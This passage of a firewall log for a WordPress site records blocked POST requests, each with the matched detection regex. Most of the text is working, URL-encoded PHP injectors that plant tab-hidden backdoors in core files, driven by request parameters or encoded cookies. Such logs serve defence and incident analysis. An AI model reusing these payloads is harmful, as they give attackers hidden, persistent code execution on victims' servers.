24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nsec-fetch-dest:document\ncontent-length:4253\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvDJLvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAiozMcMlV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua-mobile:?0\naccept:*\/*\nsec-ch-ua-platform:\"macOS\"\nupgrade-insecure-requests:1\naccept-encoding:gzip,deflate\nsec-fetch-site:none\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\nsec-ch-ua:\"Google Chrome\";v=\"119\", \"Chromium\";v=\"119\", \"Not?A_Brand\";v=\"24\"\nsec-fetch-user:?1\n\nAf=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/block-bindings\/term-data.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%255B%2522d%255Cx61t%2522%255D%2529%2529%257B%2520%2524obj%2520%253D%2520array_filter%2528%255B%2522\/dev\/shm%2522%252C%2520session_save_path%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%255D%2529%253B%2520%2524elem%2520%253D%2520%2524_REQUEST%255B%2522d%255Cx61t%2522%255D%253B%2520%2524elem%2520%253D%2520explode%2520%2528%2520%2522.%2522%2520%252C%2520%2524elem%2520%2529%253B%2520%2524itm%2520%253D%2520%2527%2527%253B%2520%2524s9%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524lenS%2520%253D%2520strlen%2528%2524s9%2529%253B%2520foreach%2520%2528%2524elem%2520as%2520%2524x%2520%253D%253E%2520%2524v8%2529%253A%2520%2524chS%2520%253D%2520ord%2528%2524s9%255B%2524x%2520%2525%2520%2524lenS%255D%2529%253B%2520%2524d%2520%253D%2520%2528%2528int%2529%2524v8%2520-%2520%2524chS%2520-%2520%2528%2524x%2520%2525%252010%2529%2529%2520%255E%25207%253B%2520%2524itm%2520.%253D%2520chr%2528%2524d%2529%253B%2520endforeach%253B%2520foreach%2520%2528%2524obj%2520as%2520%2524value%2529%253A%2520if%2520%2528%2528is_dir%2528%2524value%2529%2520and%2520is_writable%2528%2524value%2529%2529%2529%2520%257B%2520%2524symbol%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524value%252C%2520%2522.flg%2522%255D%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524symbol%252C%2520%2524itm%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524symbol%253B%2520unlink%2528%2524symbol%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 19:48:24","148.113.9.51","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> uh:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/block-bindings\/term-data.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%255B%2522d%255Cx61t%2522%255D%2529%2529%257B%2520%2524obj%2520%253D%2520array_filter%2528%255B%2522\/dev\/shm%2522%252C%2520session_save_path%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%255D%2529%253B%2520%2524elem%2520%253D%2520%2524_REQUEST%255B%2522d%255Cx61t%2522%255D%253B%2520%2524elem%2520%253D%2520explode%2520%2528%2520%2522.%2522%2520%252C%2520%2524elem%2520%2529%253B%2520%2524itm%2520%253D%2520%2527%2527%253B%2520%2524s9%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524lenS%2520%253D%2520strlen%2528%2524s9%2529%253B%2520foreach%2520%2528%2524elem%2520as%2520%2524x%2520%253D%253E%2520%2524v8%2529%253A%2520%2524chS%2520%253D%2520ord%2528%2524s9%255B%2524x%2520%2525%2520%2524lenS%255D%2529%253B%2520%2524d%2520%253D%2520%2528%2528int%2529%2524v8%2520-%2520%2524chS%2520-%2520%2528%2524x%2520%2525%252010%2529%2529%2520%255E%25207%253B%2520%2524itm%2520.%253D%2520chr%2528%2524d%2529%253B%2520endforeach%253B%2520foreach%2520%2528%2524obj%2520as%2520%2524value%2529%253A%2520if%2520%2528%2528is_dir%2528%2524value%2529%2520and%2520is_writable%2528%2524value%2529%2529%2529%2520%257B%2520%2524symbol%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524value%252C%2520%2522.flg%2522%255D%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524symbol%252C%2520%2524itm%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524symbol%253B%2520unlink%2528%2524symbol%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nsec-fetch-dest:document\ncontent-length:4253\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvqJtvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzyvLKAyK3Owo25hMJA0nJ9hVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua-mobile:?0\naccept:*\/*\nsec-ch-ua-platform:\"Windows\"\nupgrade-insecure-requests:1\naccept-encoding:gzip,deflate\nsec-fetch-site:none\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Google Chrome\";v=\"101\"\nsec-fetch-user:?1\n\nuh=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/block-bindings\/term-data.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%255B%2522d%255Cx61t%2522%255D%2529%2529%257B%2520%2524obj%2520%253D%2520array_filter%2528%255B%2522\/dev\/shm%2522%252C%2520session_save_path%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%255D%2529%253B%2520%2524elem%2520%253D%2520%2524_REQUEST%255B%2522d%255Cx61t%2522%255D%253B%2520%2524elem%2520%253D%2520explode%2520%2528%2520%2522.%2522%2520%252C%2520%2524elem%2520%2529%253B%2520%2524itm%2520%253D%2520%2527%2527%253B%2520%2524s9%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524lenS%2520%253D%2520strlen%2528%2524s9%2529%253B%2520foreach%2520%2528%2524elem%2520as%2520%2524x%2520%253D%253E%2520%2524v8%2529%253A%2520%2524chS%2520%253D%2520ord%2528%2524s9%255B%2524x%2520%2525%2520%2524lenS%255D%2529%253B%2520%2524d%2520%253D%2520%2528%2528int%2529%2524v8%2520-%2520%2524chS%2520-%2520%2528%2524x%2520%2525%252010%2529%2529%2520%255E%25207%253B%2520%2524itm%2520.%253D%2520chr%2528%2524d%2529%253B%2520endforeach%253B%2520foreach%2520%2528%2524obj%2520as%2520%2524value%2529%253A%2520if%2520%2528%2528is_dir%2528%2524value%2529%2520and%2520is_writable%2528%2524value%2529%2529%2529%2520%257B%2520%2524symbol%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524value%252C%2520%2522.flg%2522%255D%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524symbol%252C%2520%2524itm%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524symbol%253B%2520unlink%2528%2524symbol%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 19:49:55","98.130.43.189","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/block-bindings\/term-data.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%255B%2522d%255Cx61t%2522%255D%2529%2529%257B%2520%2524obj%2520%253D%2520array_filter%2528%255B%2522\/dev\/shm%2522%252C%2520session_save_path%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%255D%2529%253B%2520%2524elem%2520%253D%2520%2524_REQUEST%255B%2522d%255Cx61t%2522%255D%253B%2520%2524elem%2520%253D%2520explode%2520%2528%2520%2522.%2522%2520%252C%2520%2524elem%2520%2529%253B%2520%2524itm%2520%253D%2520%2527%2527%253B%2520%2524s9%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524lenS%2520%253D%2520strlen%2528%2524s9%2529%253B%2520foreach%2520%2528%2524elem%2520as%2520%2524x%2520%253D%253E%2520%2524v8%2529%253A%2520%2524chS%2520%253D%2520ord%2528%2524s9%255B%2524x%2520%2525%2520%2524lenS%255D%2529%253B%2520%2524d%2520%253D%2520%2528%2528int%2529%2524v8%2520-%2520%2524chS%2520-%2520%2528%2524x%2520%2525%252010%2529%2529%2520%255E%25207%253B%2520%2524itm%2520.%253D%2520chr%2528%2524d%2529%253B%2520endforeach%253B%2520foreach%2520%2528%2524obj%2520as%2520%2524value%2529%253A%2520if%2520%2528%2528is_dir%2528%2524value%2529%2520and%2520is_writable%2528%2524value%2529%2529%2529%2520%257B%2520%2524symbol%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524value%252C%2520%2522.flg%2522%255D%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524symbol%252C%2520%2524itm%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524symbol%253B%2520unlink%2528%2524symbol%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nsec-fetch-dest:document\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:4276\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua-mobile:?0\naccept:*\/*\nsec-ch-ua-platform:\"Windows\"\nupgrade-insecure-requests:1\naccept-encoding:gzip,deflate\nsec-fetch-site:none\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\nsec-ch-ua:\"Chromium\";v=\"110\", \"Not A(Brand\";v=\"24\", \"Google Chrome\";v=\"110\"\nsec-fetch-user:?1\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/block-bindings\/term-data.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%255B%2522d%255Cx61t%2522%255D%2529%2529%257B%2520%2524obj%2520%253D%2520array_filter%2528%255B%2522\/dev\/shm%2522%252C%2520session_save_path%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%255D%2529%253B%2520%2524elem%2520%253D%2520%2524_REQUEST%255B%2522d%255Cx61t%2522%255D%253B%2520%2524elem%2520%253D%2520explode%2520%2528%2520%2522.%2522%2520%252C%2520%2524elem%2520%2529%253B%2520%2524itm%2520%253D%2520%2527%2527%253B%2520%2524s9%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524lenS%2520%253D%2520strlen%2528%2524s9%2529%253B%2520foreach%2520%2528%2524elem%2520as%2520%2524x%2520%253D%253E%2520%2524v8%2529%253A%2520%2524chS%2520%253D%2520ord%2528%2524s9%255B%2524x%2520%2525%2520%2524lenS%255D%2529%253B%2520%2524d%2520%253D%2520%2528%2528int%2529%2524v8%2520-%2520%2524chS%2520-%2520%2528%2524x%2520%2525%252010%2529%2529%2520%255E%25207%253B%2520%2524itm%2520.%253D%2520chr%2528%2524d%2529%253B%2520endforeach%253B%2520foreach%2520%2528%2524obj%2520as%2520%2524value%2529%253A%2520if%2520%2528%2528is_dir%2528%2524value%2529%2520and%2520is_writable%2528%2524value%2529%2529%2529%2520%257B%2520%2524symbol%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524value%252C%2520%2522.flg%2522%255D%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524symbol%252C%2520%2524itm%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524symbol%253B%2520unlink%2528%2524symbol%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 19:50:07","190.92.169.79","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> cM:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/block-supports\/colors.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B74-74%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B28%252B-27%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B82-79%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-33%252B37%255D%2529%2529%2520%257B%2520%2524ent%2520%253D%2520%2524_COOKIE%253B%2520function%2520unit_converter%2528%2524entity%2529%2520%257B%2520%2524ent%2520%253D%2520%2524_COOKIE%253B%2520%2524item%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527263489ac%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524item%2529%2529%2520%257B%2520%2524item%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522dependency_resolver%2522%253B%2520%257D%2520%2524elem%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524ent%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524item%2529%2529%2520%257B%2520%2524tkn%2520%253D%2520fopen%2528%2524item%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524tkn%252C%2520%2524elem%2529%253B%2520fclose%2528%2524tkn%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524item%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524item%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522unit_converter%2522%2529%253B%2520%2524record%2520%253D%2520%25226ecf0a015cd4814f1f3d993d872a8f25%2522%253B%2520if%2520%2528%2521strncmp%2528%2524record%252C%2520%2524ent%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522data_storage_framework%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-dest:document\ncontent-length:4290\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvL00vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz1vK2AioaMypaDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua-mobile:?0\naccept:*\/*\nsec-ch-ua-platform:\"macOS\"\nupgrade-insecure-requests:1\naccept-encoding:gzip,deflate\nsec-fetch-site:none\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\nsec-ch-ua:\"Not_A 